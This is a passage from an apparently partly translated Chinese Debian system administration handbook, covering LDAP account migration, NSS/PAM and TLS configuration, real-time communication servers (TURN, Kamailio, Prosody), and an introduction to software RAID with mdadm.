migrationtools 软件包提供一组脚本，专门用于从标准 Unix 目录中提取数据（/etc/passwd、/etc/group、/etc/services、/etc/hosts 以及等等诸如此类），转换这个数据，并将其注入 LDAP 数据库中。

一旦安装了软件包，就必须编辑 /etc/migrationtools/migrate_common.ph；需要启用 IGNORE_UID_BELOW 和 IGNORE_GID_BELOW 选项（将其取消注释就足够了），并且需要更新 DEFAULT_MAIL_DOMAIN/DEFAULT_BASE。

真正的迁移操作由 migrate_all_online.sh 命令来处理，如下：

# cd /usr/share/migrationtools

# PERL5LIB="${PERL5LIB}:/etc/migrationtools" LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

migrate_all_online.sh 询问一些关于数据迁移到 LDAP 数据库的问题。表 11.1 概括了 Falcot 公司的使用案例中给出回答。

表 11.1. 对 migrate_all_online.sh 脚本询问的问题的回答

问题

回答

X.500 命名文本

dc=falcot,dc=com

LDAP 服务器主机名

localhost

管理者 DN

cn=admin,dc=falcot,dc=com

绑定证明

管理员密码

创建 DUAConfigProfile

否

You might notice that we extend the PERL5LIB variable. This is due to Debian bug report #982666.

→ https://bugs.debian.org/982666

As you might have also noticed, we deliberately ignore migration of the /etc/aliases file, since the standard schema as provided by Debian does not include the structures that this script uses to describe email aliases. Should we want to integrate this data into the directory, the /etc/ldap/schema/misc.schema file should be added to the standard schema.

工具 浏览 LDAP 目录

jxplorer 命令（在同名软件包中）是图形化的工具，允许浏览并编辑 LDAP 数据库。这是个有趣的工具，为管理员提供了 LDAP 数据分层级结构的良好概况。

还要注意 -c 选项在 ldapadd 命令中的使用；这个选项需要在错误的情况下不将处理停止下来。使用这个选项的使用是需要的，因为 /etc/services 的转换通常产生一些可以被安全地忽略的错误。

11.7.3. 使用 LDAP 管理账户

现在 LDAP 数据库包含了一些有用的信息，是时候使用这些数据了。这一节聚焦于如何配置 Linux 系统，从而各个系统目录可以使用 LDAP 数据库。

11.7.3.1. 配置 NSS

NSS 系统（Name Service Switch——名称服务交换，请参见边栏 进一步 NSS 与系统数据库）是个模块化的系统，设计来为系统目录确定或取回信息。使用 LDAP 作为 NSS 的数据源需要安装 libnss-ldap 软件包。它的安装会询问一些问题；回答概括在 表 11.2 中。

表 11.2. Configuring the libnss-ldap package:

问题

回答

LDAP server URI (Uniform Resource Identifier)

ldapi://ldap.falcot.com

搜索基础的区分名称

dc=falcot,dc=com

使用的 LDAP 版本

3

根的 LDAP 账户

cn=admin,dc=falcot,dc=com

LDAP 根账户密码

管理员密码

允许 LDAP 管理账户的行为像本地根用户一样吗？

是

LDAP 数据库需要登录吗？

否

然后需要修改 /etc/nsswitch.conf 文件，从而配置 NSS 来使用刚刚安装的 ldap 模块。可以使用 /usr/share/doc/libnss-ldap/examples/nsswitch.ldap 中提供的示例，或者编辑现有的配置。

例 11.23. The /etc/nsswitch.conf file

#ident $Id: nsswitch.ldap,v 2.4 2003/10/02 02:36:25 lukeh Exp $

#

# An example file that could be copied over to /etc/nsswitch.conf; it

# uses LDAP conjunction with files.

#

# "hosts:" and "services:" in this file are used only if the

# /etc/netconfig file has a "-" for nametoaddr_libs of "inet" transports.

# the following lines obviate the "+" entry in /etc/passwd and /etc/group.

passwd:         files ldap

shadow:         files ldap

group:          files ldap

# consult DNS first, we will need it to resolve the LDAP host. (If we

# can't resolve it, we're in infinite recursion, because libldap calls

# gethostbyname(). Careful!)

hosts:          dns ldap

# LDAP is nominally authoritative for the following maps.

services:   ldap [NOTFOUND=return] files

networks:   ldap [NOTFOUND=return] files

protocols:  ldap [NOTFOUND=return] files

rpc:        ldap [NOTFOUND=return] files

ethers:     ldap [NOTFOUND=return] files

# no support for netmasks, bootparams, publickey yet.

netmasks:   files

bootparams: files

publickey:  files

automount:  files

# I'm pretty sure nsswitch.conf is consulted directly by sendmail,

# here, so we can't do much here. Instead, use bbense's LDAP

# rules ofr sendmail.

aliases:    files

sendmailvars:   files

# Note: there is no support for netgroups on Solaris (yet)

netgroup:   ldap [NOTFOUND=return] files

ldap 模块通常插在其它之前，这样会被首先询问。显著的例外是 hosts 服务，因为联系 LDAP 服务器需要首先咨询 DNS （来解析 ldap.falcot.com）。没有这个例外的话，主机名查询将试图询问 LDAP 服务器；这会触发对 LDAP 服务器的名称解析，于是进入死循环。

如果 LDAP 服务器被认为是权威的（并且不理会 files 模块使用的本地文件），那么服务可以使用后面的语法来配置：

服务: ldap [NOTFOUND=return] files.

如果请求的入口在 LDAP 数据库中不存在，那么即使资源真实存在于一个本地文件中，查询也会返回“不存在”的回复；这些本地文件只当 LDAP 服务关闭时才会使用。

11.7.3.2. 配置 PAM

本节描述了 PAM 配置（请参见边栏 幕后/etc/environment 和 /etc/default/locale），它允许应用针对 LDAP 数据库来执行所需要的授权。

警告 失效的认证

更改各个程序使用的标准 PAM 配置是敏感的操作。错误可以导致失效的认证，这会阻碍登录。这样，保持 root shell 打开是个好的预防方式。如果发生配置错误，然后可以修复它们，并且以最小的努力来重启服务。

用于 PAM 的 LDAP 模块由 libpam-ldap 软件包提供。安装这个软件包会询问一些问题，与 libnss-ldap 中的那些问题非常相似；一些配置参数（如 LDAP 服务器的 URI）甚至被 libnss-ldap 软件包真正共享。 回答概括在 表 11.3 中。

表 11.3. libpam-ldap 的配置

问题

回答

允许 LDAP 管理账户的行为像本地根用户一样吗？

是。这允许使用通常的 passwd 命令来更改存储在 LDAP 数据库中的密码。

LDAP 数据库需要登录吗？

否

LDAP account for root:

cn=admin,dc=falcot,dc=com

LDAP administrative password:

LDAP 数据库管理密码

Local encryption algorithm to use for passwords:

crypt

PAM profiles to enable:

LDAP Authentication is among the enabled profiles

安装 libpam-ldap 会自动适应 /etc/pam.d/common-auth、/etc/pam.d/common-password 和 /etc/pam.d/common-account 文件中的默认 PAM 配置。这个机制使用专用的 pam-auth-update 工具（由 libpam-runtime 软件包提供）。这个工具还可以由管理员运行，如果他们想要启用或禁止 PAM 模块的话。

11.7.3.3. 保护 LDAP 数据交换

LDAP 协议默认在网络上明文传输；这包括（加密的）密码。由于加密的密码可以从网络上提取，它们对字典类型的攻击会是脆弱的。这可以通过使用另外的加密层来避免；启用这层是本节的主题。

11.7.3.3.1. 配置服务器

第一步是为 LDAP 服务器创建密钥对（包括公钥和私钥）。Falcot 公司的管理员重复使用 easy-rsa 来生成它（请参见 第 10.2.2 节 “公钥基础设施：easy-rsa”）。运行 ./easyrsa build-server-full ldap.falcot.com nopass 会询问有关“通用名称”。对问题的回答必须是 LDAP 服务器完全合格的主机名；在我们的例子中是 ldap.falcot.com。

这个命令在 pki/issued/ldap.falcot.com.crt 文件中创建了证书；相应的私钥存储在 pki/private/ldap.falcot.com.key 中。

现在这些密钥必须安装到其标准位置上，并且我们必须确定私有文件可以被openldap身份下运行的 LDAP 服务器读取：

# adduser openldap ssl-cert

Adding user `openldap' to group `ssl-cert' ...

Adding user openldap to group ssl-cert

Done.

# mv pki/private/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key

# chown root.ssl-cert /etc/ssl/private/ldap.falcot.com.key

# chmod 0640 /etc/ssl/private/ldap.falcot.com.key

# mv pki/issued/ldap.falcot.com.crt /etc/ssl/certs/ldap.falcot.com.pem

# chown root.root /etc/ssl/certs/ldap.falcot.com.pem

# chmod 0644 /etc/ssl/certs/ldap.falcot.com.pem

还需要告知 slapd 守护进程使用这些密钥来加密。LDAP 服务器的配置被动态地管理：可以在 cn=config 对象层次结构上通过正常的 LDAP 操做来更新配置；并且服务器实时更新 /etc/ldap/slapd.d 而使配置持续。这样 ldapmodify 就是更新配置的合适工具了：

例 11.24. 配置 slapd 来加密

# cat >ssl.ldif <<END

dn: cn=config

changetype: modify

add: olcTLSCertificateKeyFile

olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key

-

add: olcTLSCertificateFile

olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem

END

# ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

modifying entry "cn=config"

# systemctl restart slapd.service

# ldapsearch -Y EXTERNAL -H ldapi:/// -b cn=config -s base | grep TLS

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem

olcTLSCertificateKeyFile: /etc/ssl/certs/ldap.falcot.com.key

工具 ldapvi 来编辑 LDAP 目录

With ldapvi, you can display an LDIF output of any part of the LDAP directory, make some changes in the text editor, and let the tool do the corresponding LDAP operations for you.

这样是更新 LDAP 服务器配置的方便的方式，通过简单地编辑 cn=config 层次结构来完成。

# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

启用加密的最后一步包括更改 /etc/default/slapd 文件中的 SLAPD_SERVICES 变量。我们将同时安全地运行并禁止不安全 LDAP。

例 11.25. /etc/default/slapd 文件

# Default location of the slapd.conf file or slapd.d cn=config directory. If

# empty, use the compiled-in default (/etc/ldap/slapd.d with a fallback to

# /etc/ldap/slapd.conf).

SLAPD_CONF=

# System account to run the slapd server under. If empty the server

# will run as root.

SLAPD_USER="openldap"

# System group to run the slapd server under. If empty the server will

# run in the primary group of its user.

SLAPD_GROUP="openldap"

# Path to the pid file of the slapd server. If not set the init.d script

# will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.d by

# default)

SLAPD_PIDFILE=

# slapd normally serves ldap only on all TCP-ports 389. slapd can also

# service requests on TCP-port 636 (ldaps) and requests via unix

# sockets.

# Example usage:

# SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///"

SLAPD_SERVICES="ldaps:/// ldapi:///"

# If SLAPD_NO_START is set, the init script will not start or restart

# slapd (but stop will still work).  Uncomment this if you are

# starting slapd via some other means or if you don't want slapd normally

# started at boot.

#SLAPD_NO_START=1

# If SLAPD_SENTINEL_FILE is set to path to a file and that file exists,

# the init script will not start or restart slapd (but stop will still

# work).  Use this for temporarily disabling startup of slapd (when doing

# maintenance, for example, or through a configuration management system)

# when you don't want to edit a configuration file.

SLAPD_SENTINEL_FILE=/etc/ldap/noslapd

# For Kerberos authentication (via SASL), slapd by default uses the system

# keytab file (/etc/krb5.keytab).  To use a different keytab file,

# uncomment this line and change the path.

#export KRB5_KTNAME=/etc/krb5.keytab

# Additional options to pass to slapd

SLAPD_OPTIONS=""

11.7.3.3.2. 配置客户端

在客户端一侧，需要修改用于 libpam-ldap 和 libnss-ldap 模块的配置，来使用 ldaps:// URI。

LDAP clients also need to be able to authenticate the server. In an X.509 public key infrastructure, public certificates are signed by the key of a certificate authority (CA). With easy-rsa, the Falcot administrators have created their own CA and they now need to configure the system to trust the signatures of Falcot's CA. This can be done by putting the CA certificate in /usr/local/share/ca-certificates and running update-ca-certificates.

# cp pki/ca.crt /usr/local/share/ca-certificates/falcot.crt

# update-ca-certificates

Updating certificates in /etc/ssl/certs...

1 added, 0 removed; done.

Running hooks in /etc/ca-certificates/update.d...

Adding debian:falcot.pem

done.

done.

最后但不是最重要的，各种命令行工具使用的默认 LDAP URI 和默认基础 DN可以在 /etc/ldap/ldap.conf 中修改。这会节省一些输入工作。

例 11.26. /etc/ldap/ldap.conf 文件

#

# LDAP Defaults

#

# See ldap.conf(5) for details

# This file should be world readable but not world writable.

#BASE   dc=example,dc=com

#URI    ldap://ldap.example.com ldap://ldap-provider.example.com:666

#SIZELIMIT      12

#TIMELIMIT      15

#DEREF          never

# TLS certificates (needed for GnuTLS)

TLS_CACERT      /etc/ssl/certs/ca-certificates.crt

11.8. 实时通信服务

实时通信（Real-Time Communication，RTC）服务包括语音、视频/网络摄像头即时通信（instant messaging，IM）和共享桌面。这章对需要操作 RTC 的三种服务给出了简要介绍，包括 TURN 服务器、 SIP 服务器和 XMPP 服务器。如何规划、安装并管理这些服务的深入细节可以在《实时通信的快速开始指南》中得到，它包括 Debian 特定的一些示例。

→ https://rtcquickstart.org

SIP 和 XMPP 可以提供相同的功能。SIP 在语音和视频上略微知名一些，而 XMPP 在传统上被认为是 IM 协议。实际上，它们都可以用于这些之中的任何目的。为了使连接选项最大化，推荐并行运行它们。

这些服务在认证和保密目的上都依赖于 X.509 证书。更多信息请参见 第 10.2 节 “X.509 认证”。

11.8.1. RTC 服务的 DNS 设置

RTC services require DNS SRV and NAPTR records. A sample configuration that can be placed in the zone file for falcot.com (see also 例 10.13 “Excerpt of /etc/bind/db.falcot.com”:

; the server where everything will run

server1            IN     A      198.51.100.19

server1            IN     AAAA   2001:DB8:1000:2000::19

; IPv4 only for TURN for now, some clients are buggy with IPv6

turn-server        IN     A      198.51.100.19

; IPv4 and IPv6 addresses for SIP

sip-proxy          IN     A      198.51.100.19

sip-proxy          IN     AAAA   2001:DB8:1000:2000::19

; IPv4 and IPv6 addresses for XMPP

xmpp-gw            IN     A      198.51.100.19

xmpp-gw            IN     AAAA   2001:DB8:1000:2000::19

; DNS SRV and NAPTR for STUN / TURN

_stun._udp  IN SRV    0 1 3467 turn-server.falcot.com.

_turn._udp  IN SRV    0 1 3467 turn-server.falcot.com.

@           IN NAPTR  10 0 "s" "RELAY:turn.udp" "" _turn._udp.falcot.com.

; DNS SRV and NAPTR records for SIP

_sips._tcp  IN SRV    0 1 5061 sip-proxy.falcot.com.

@           IN NAPTR  10 0 "s" "SIPS+D2T" "" _sips._tcp.falcot.com.

; DNS SRV records for XMPP Server and Client modes:

_xmpp-client._tcp  IN     SRV    5 0 5222 xmpp-gw.falcot.com.

_xmpp-server._tcp  IN     SRV    5 0 5269 xmpp-gw.falcot.com.

11.8.2. TURN 服务器

TURN 是一种服务，它帮助 NAT 路由器和防火墙后面的客户端发现最有效的方式，来与其他客户端通信，并且如果没有发现直接媒体路径的话会依赖媒体流。强烈推荐在其它 RTC 服务提供给终端用户之前安装 TURN 服务器。

TURN 和相关的 ICE 协议是开放的标准。为了从这些协议中获益，将连接最大化并将用户的挫败感最小化，重要的是确保所有的客户端软件支持 ICE 和 TURN。

对于有效工作的 ICE 算法，服务器必须具有两个公共的 IPV4 地址。

安装 coturn 软件包并编辑 /etc/turnserver.conf 配置文件。SQLite 数据库默认在 /var/db/turndb 中配置用户账户设置，而如果需要的话可以替代设置 PostgreSQL、MySQL 或 Redis。 要做的最重要的事情是插入服务器的 IP 地址。

The server can be started running turnserver from the coturn package. We want the server to be an automatically started system service. This is the default behavior using systemd. Only when using the older SysVinit you have to edit the /etc/default/coturn file like this:

#

# Uncomment it if you want to have the turnserver running as

# an automatic system service daemon

#

TURNSERVER_ENABLED=1

TURN 服务器默认使用匿名访问。我们必须添加我们想要使用的用户：

# turnadmin -a -u roland -p secret_password -r falcot.com

# turnadmin -A -u admin -p secret_password

我们使用 -a 参数来添加普通用户，而用 -A 来添加管理用户。

11.8.3. SIP 代理服务器

SIP 代理服务器管理其他组织、SIP 中继提供商、SIP PBXes 如 Asterisk、SIP 电话、基于 SIP 的软件电话与 WebRTC应用之间的到来的与外发的 SIP 链接。

强烈推荐在尝试设置 SIP PBX 之前安装并配置 SIP 代理。SIP 代理使到达 PBX 的大量流量正常化，并提供更大的连接与恢复能力。

11.8.3.1. 安装 SIP 代理

Install the kamailio package and the package for the database backend. The Falcot administrators chose MySQL, so they install kamailio-mysql-modules and mariadb-server. /etc/kamailio/kamctlrc is the configuration file for the control tools kamctl and kamdbctl. You need to edit and set the SIP_DOMAIN to your SIP service domain and set the DBENGINE to MySQL, another database backend can be used.

[...]

## your SIP domain

SIP_DOMAIN=sip.falcot.com

## chrooted directory

# CHROOT_DIR="/path/to/chrooted/directory"

## database type: MYSQL, PGSQL, ORACLE, DB_BERKELEY, DBTEXT, or SQLITE

# by default none is loaded

#

# If you want to setup a database with kamdbctl, you must at least specify

# this parameter.

DBENGINE=MYSQL

[...]

现在我们聚焦在配置文件 /etc/kamailio/kamailio.cfg 上。Falcot 公司需要用户认证和持续的用户位置，所以他们在文件的顶部添加了后面的指令 #!define：

#!KAMAILIO

#

# Kamailio (OpenSER) SIP Server v5.2 - default configuration script

#     - web: https://www.kamailio.org

#     - git: https://github.com/kamailio/kamailio

#!define WITH_MYSQL

#!define WITH_AUTH

#!define WITH_USRLOCDB

[...]

Kamailio needs a database structure that we can create running kamdbctl create as root. Finally, we can add some users with kamctl.

# kamdbctl create

[...]

# kamctl add roland secret_password

Once everything is properly configured you can start or restart the service with systemctl restart kamailio, you can connect with a SIP client providing the IP address and the port (5090 is the default port). The users have the following id: roland@sip.falcot.com, and they can login using a client (see 第 13.9 节 “即时通讯软件”).

11.8.4. XMPP 服务器

XMPP 服务器管理本地 XMPP 用户与公共因特网上其它域的XMPP 用户之间的连接。

关键词 XMPP 还是 Jabber？

XMPP 有时被称为 Jabber。实际上，Jabber 是个商标，而 XMPP 是这种标准的官方名称。

prosody is a popular XMPP server that operates reliably on Debian servers.

11.8.4.1. 安装 XMPP 服务器

安装 prosody 软件包。

复查 /etc/prosody/prosody.cfg.lua 配置文件。要做的最重要的事情是插入被允许管理这台服务器的用户的 JID。

admins = { "joe@falcot.com" }

每个域还需要独立的配置文件。复制来自 /etc/prosody/conf.avail/example.com.cfg.lua 的示例，并用它作为起点，这里是 falcot.com.cfg.lua：

VirtualHost "falcot.com"

enabled = true

ssl = {

key = "/etc/ssl/private/falcot.com.key";

certificate = "/etc/ssl/certs/falcot.com.pem";

}

-- Set up a MUC (multi-user chat) room server on conference.example.com:

Component "conference.falcot.com" "muc"

为了启用域，必须有个来自 /etc/prosody/conf.d/ 的符号链接。以这样的方式来创建：

# ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/

重新启动服务来使用新的配置。

11.8.4.2. 管理 XMPP 服务器

Some management operations can be performed using the prosodyctl command line utility. For example, to add the administrator account specified in /etc/prosody/prosody.cfg.lua:

# prosodyctl adduser joe@falcot.com

关于如何定制配置的更多细节请参见 Prosody online documentation。

11.8.5. 在端口 443 运行服务

一些管理员倾向在端口 443 运行所有的 RTC 服务。这帮助用户从饭店或机场那样的远程位置连接，在那里其它端口可能会被阻塞，或者因特网通信量会经由 HTTP 代理服务器。

为了使用这个策略，每项服务（SIP、XMPP 和 TURN）需要不同的 IP 地址。所有的服务仍然可以在相同的主机上，因为 Linux 在单一主机上支持多个 IP 地址。对于每个进程的配置文件中，还要在 DNS SRV 记录中指定端口号，即443。

11.8.6. 添加 WebRTC

Falcot 公司想要让客户直接从网站上打电话。Falcot 公司的管理员还想要使用 WebRTC 作为其灾难恢复计划的一部分，这样员工可以在家使用 web 浏览器登录公司电话系统上，并在紧急情况下正常工作。

实践 尝试 WebRTC

If you have not tried WebRTC before, there are various sites that give an online demonstration and test facilities.

→ https://sip5060.net/test-calls

WebRTC 是快速进化的技术，它本质上使用来自 Testing（测试） 发布版本的软件包。其他选项用于编译软件。

WebRTC 使用简单的 API 来提供带有 RTC 的浏览器和移动应用，它是自由软件，正在由 Google 开发。

→ https://webrtc.org

A very flexible approach is using GStreamer's WebRTC implementation. It enables pipeline-based multimedia applications, which allows developing interesting and highly efficient applications. A good starting point is the following demo by Centricular, the main company that is developing it:

→ https://gitlab.freedesktop.org/gstreamer/gst-examples

更先进的点击呼叫网站典型地使用服务器一侧的脚本，来动态生成 config.js 文件。DruCall 源代码说明了如何使用 PHP 来实现。

这一章只举了部分可获得的服务器软件的示例；但描述了最常用的网络服务。现在到了更技术性的章节了：我们将进入一些概念更深入的细节，描述大量部署和虚拟化。

第 12 章 高级管理

本章以不同的视角回到之前已经讲过的几个方面：现在我们将学习大规模部署系统，而非仅仅安装单台计算机。我们将学习手动创建 RAID 和 LVM 卷而非在安装系统时创建，以防将来时情况有变需要修改。最后，我们将讨论监控工具与虚拟化技术。因此，本章主要面向专业管理员，而不太面向使用家庭网络的个人。

12.1. RAID 和 LVM

第 4 章 安装 presented these technologies from the point of view of the installer, and how it integrated them to make their deployment easy from the start. After the initial installation, an administrator must be able to handle evolving storage space needs without having to resort to an expensive re-installation. They must therefore understand the required tools for manipulating RAID and LVM volumes.

RAID 和 LVM 都是将已挂载的卷从它们的硬件层面对应物（实际的硬盘驱动器或分区）抽象化出来的技术。前者通过引入冗余来保证数据在硬件故障时的安全性和可用性，后者可让卷管理更加灵活而不受底层硬盘的实际大小的限制。两者实际上都是无需映射到单个物理磁盘就可以创建文件系统或交换空间的新的块设备（block device）。RAID 和 LVM 诞生的背景大相径庭，然而却有某些相同的功能，因此人们经常同时提起它们。

观点 Btrfs 融合 LVM 和 RAID

While LVM and RAID are two distinct kernel subsystems that come between the disk block devices and their filesystems, btrfs is a filesystem, initially developed at Oracle, that purports to combine the feature sets of LVM and RAID and much more.

→ https://btrfs.wiki.kernel.org/

它值得一提的特性之一是它可以在任意时间点创建文件系统树的快照。该快照一开始不会占用任何磁盘空间，而它会在副本发生更改时复制数据。该文件系统还会处理文件的透明压缩，以及保证存储数据完整性的校验和。

在 RAID 和 LVM 的场合下，内核提供一个块设备文件，它类似于那些对应硬盘驱动器或分区的块设备文件。当应用程序或内核的另一部分请求访问该设备的一个块时，对应的子系统会把块关联到相关的硬件层面。这个块可以据配置需要存储到一个或几个实体磁盘上，它的实际位置可能不会直接反映块在逻辑设备中的位置。

12.1.1. 软 RAID

RAID 意为磁盘阵列（Redundant Array of Independent Disks）。此系统的目标是防止数据丢失，并确保硬盘故障情况下的可用性。其主要原理十分简单：把数据存储在多个而非单个物理磁盘上，而其冗余性可以调整。取决于冗余性的大小，即使发生了意外的磁盘故障，数据也可以从剩下的磁盘中无损地还原出来。

文化要independent还是要inexpensive？

一开始 RAID 中的“I”意为inexpensive（低成本），因为 RAID 不需要借助于昂贵的高端磁盘便可以大幅提升数据的安全性，然而，现在习惯上认为它指的是independent（独立性），去掉了所谓低成本的不良印象。

RAID 可以通过专用硬件（集成到 SCSI 或 SATA 控制器卡中的 RAID 模块）或通过软件抽象（内核）实现。无论是硬件还是软件，具有足够冗余的 RAID 系统都可以在磁盘发生故障时透明地保持运行状态；堆栈（应用程序）的上层甚至可以在发生错误时继续访问数据。当然，这种"降级模式"会对性能产生影响，并且冗余会降低，进一步的磁盘故障可能会导致数据丢失。因此，在实践中，只需要更换发生故障的磁盘，人们就会努力保持这种降级模式。一旦新磁盘就位，RAID 系统就可以重建所需的数据，以便返回到安全模式。当阵列处于降级模式或重建阶段时，除了可能降低访问速度之外，应用程序不会注意到任何情况。

当 RAID由硬件实现时，RAID配置通常在BIOS设置工具中进行，内核会把RAID阵列当成一个单独的磁盘对待，根据驱动的不同设备名称可能会有所不同，但其使用方式和标准物理磁盘一样。

在本书里面，我们只专注于软 RAID。

12.1.1.1. 不同的 RAID 级别

RAID 实际上不是单个系统，而是由其级别标识的一系列系统；级别因布局和冗余量而有所不同。冗余的越多，防故障性越高，因为系统将能够继续处理更多故障磁盘。对应的一种是，一组给定磁盘的可用空间收减少；另一方面，需要更多的磁盘来存储给定数量的数据。

线性 RAID

即使内核的 RAID 子系统允许创建"线性 RAID"，但这不是正确的 RAID，因为此设置不涉及任何冗余。内核只是端到端地聚合多个磁盘，并作为一个虚拟磁盘（一个块设备）提供生成的聚合卷。这是关于它的唯一功能。此设置很少自行使用（请参阅稍后的异常），特别是因为缺少冗余意味着一个磁盘故障使整个聚合所有数据不可用。

RAID-0

此级别也不提供任何冗余，但磁盘不会简单一个接一个工作：它们被分成 stripes（条带），虚拟设备上的块存储在交替物理磁盘上的条带中。例如，在双磁盘 RAID-0 设置中，虚拟设备的偶数块将存储在第一个物理磁盘上，而奇数块将最终存储在第二个物理磁盘上。

此系统的目的不是提高可靠性，因为（如线性情况下）在任一个磁盘发生故障时所有数据的可用性都会受到损害，只是提高性能：在连续访问大量连续数据期间，内核能够从两个磁盘并行读取（或写入），从而提高数据传输速率。磁盘完全由 RAID 设备使用，因此它们的大小应该相同，不会损失性能。

RAID-0 的使用正在减少，其优点由 LVM 填补（请参阅后面的内容）。

RAID-1

此级别也称为"RAID 镜像"，是最简单和最广泛使用的设置。在其标准形式中，它使用两个大小相同的物理磁盘，并提供相同大小的逻辑卷。数据以相同方式存储在两个磁盘上，因此称为"镜像"。当一个磁盘发生故障时，仍然可使用另一个磁盘上的数据。对于真正关键的数据，RAID-1 当然可以在超过两个磁盘上设置，这直接影响到硬件成本与可用有效负载空间的比率。

注释 磁盘和卷大小

如果在镜像中设置了两个大小不同的磁盘，则不会完全使用较大的磁盘，因为它将包含与最小磁盘相同的数据，仅此一项。因此，RAID-1 卷提供的可用空间与阵列中最小磁盘的大小相匹配。这仍然适合具有较高 RAID 级别的 RAID 卷，即使冗余存储方式不同。

因此，在设置 RAID 阵列（RAID-0 和"线性 RAID"除外）时，必须使用大小相同或非常接近的磁盘，以避免浪费资源。

注释 备用磁盘

包含冗余的 RAID 级别允许为阵列分配比所需更多的磁盘。当其中一个主磁盘发生故障时，多余的磁盘用作备用磁盘。例如，在两个磁盘加一个备用磁盘的镜像中，如果前两个磁盘中的一个发生故障，内核将自动（并立即）使用备用磁盘重建镜像，以便冗余在重建后保持可用。这可用作关键数据的另一种保护。

人们可能想知道，这怎么比简单地使用三个磁盘镜像开始更好呢。"备用磁盘"配置的优点是，备用磁盘可以在多个 RAID 卷之间共享。例如，有3个镜像卷，即使在一个磁盘发生故障时，也可以有冗余保证，只要7个磁盘（3对，外加一个共享备用磁盘），而不是3组3个共需要9个磁盘。

此 RAID 级别虽然昂贵（因为最多只有物理存储空间的一半可用），但在实践中被广泛使用。它易于理解，允许非常简单的备份：由于两个磁盘具有相同的内容，可以暂时提取其中一个磁盘，对工作系统没有任何影响。读取性能通常提高，因为内核可以并行读取每个磁盘上一半的数据，而写入性能不会严重下降。如果 RAID-1 阵列包含 N 个磁盘，即使 N-1 磁盘发生故障，数据也保持可用。

CAUTION RAID is not Backup

RAID systems are not backup mechanisms. While RAID increases the redundancy - and therefore the availability of a system - and protects against disk failures, backups are done to protect data from being altered, deleted, getting corrupted, etc., and to be able to restore them if necessary. To demonstrate this: If you remove one or all files by accident, a RAID will mirror this change, but it will not provide the means to restore the file(s). So while there is clearly an overlap, they are not the same and should be used in conjunction with each other.

RAID-4

此 RAID 级别未广泛使用，使用 N 个磁盘来存储有用的数据，以及额外的磁盘来存储冗余信息。如果磁盘发生故障，系统可以从其他 N 个磁盘重构数据。如果其中一个 N 数据磁盘发生故障，则剩余的 N-1 与"奇偶校验"磁盘相结合，包含足够的信息来重建所需的数据。

RAID-4 并不昂贵，因为它只涉及成本的N分之一的增加，对读取性能没有明显影响，但写入速度会减慢。此外，由于写入任何 N 磁盘也涉及写入奇偶校验磁盘，因此后者的写入量比前者多，因此其寿命会大幅缩短。RAID-4 阵列上的数据仅在最多只有一个磁盘（N+1中）发生故障时保证安全。

RAID-5

RAID-5 解决了 RAID-4 的不对称问题：奇偶校验块分布在所有 N+1 磁盘上，没有一个磁盘具有特定角色。

读取和写入性能与 RAID-4 相同。同样，系统在最多一个磁盘（N+1中）发生故障时保持运行状态，但是不能有更多磁盘故障。

RAID-6

RAID-6 可视为 RAID-5 的扩展，其中每 N 块产生2个冗余块，并且 N+2 块分布在 N+2 个磁盘上。

此 RAID 级别比前两个级别稍微昂贵一些，但它带来了一些额外的安全性，因为最多两个驱动器（N+2）出现故障，而不会影响数据可用性。对应的是，写入操作现在涉及写入一个数据块和两个冗余块，这使得它们更慢。

RAID-1+0

严格来说，这不是 RAID 级别，而是两个 RAID 分组的堆叠。从 2 × N 个磁盘开始，首先将它们按对将它们设置到 N 个 RAID-1 卷中；然后，将 N 个卷通过"线性 RAID"或（越来越多地）由 LVM 聚合为一个卷。最后一个案例比纯 RAID 更进一步，但没有问题。

RAID-1+0 可以经受多个磁盘故障而幸存：如果每个 RAID-1 对中至少有一个磁盘继续工作，则上述 2×N 阵列中最多可以有 N 个磁盘故障。

进阶 RAID-10

RAID-10 通常被认为是 RAID-1+0 的同义词，但 Linux 特异性使其实际上成为一种泛化。此设置允许将每个块存储在两个不同的磁盘上的系统，即使磁盘数为奇数，副本也可配置模型分布。

性能将因所选的重新分配模型、冗余级别以及逻辑卷的工作负载而异。

显然，RAID 级别将根据每个应用程序的约束和要求进行选择。请注意，一台计算机可以有多个具有不同配置的不同 RAID 阵列。

12.1.1.2. 创建 RAID

设置 RAID 卷需要 mdadm 软件包；它提供了 mdadm 命令，允许创建和操作 RAID 阵列，以及将其集成到系统的其余部分（包括监控系统）的脚本和工具。

下面的示例是具有多个磁盘的服务器，其中一些磁盘已被使用，其余磁盘可用于设置 RAID。我们最初有以下磁盘和分区：

- sdb 磁盘，4 GB，完全可用;

- sdc 磁盘，4 GB，也是完全可用;

- sdd 磁盘，只有分区 sdd2（大约4 GB）可用;

- 最后，sde 磁盘，4 GB，完全可用。

注释 识别现有的 RAID 卷

/proc/mdstat文件列出现有卷及其状态。创建新的 RAID 卷时，应注意不要将它的名称与现有卷的名称相同。

我们将使用这些物理元素来构建两个卷，一个 RAID-0 和一个镜像 （RAID-1）。从 RAID-0 卷开始：

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc

mdadm: Defaulting to version 1.2 metadata

mdadm: array /dev/md0 started.

# mdadm --query /dev/md0

/dev/md0: 7.99GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail.

# mdadm --detail /dev/md0

/dev/md0:

Version : 1.2

Creation Time : Mon Feb 28 01:54:24 2022

Raid Level : raid0

Array Size : 8378368 (7.99 GiB 8.58 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Mon Feb 28 01:54:24 2022

State : clean

Active Devices : 2

Working Devices : 2

Failed Devices : 0

Spare Devices : 0

Layout : -unknown-

Chunk Size : 512K

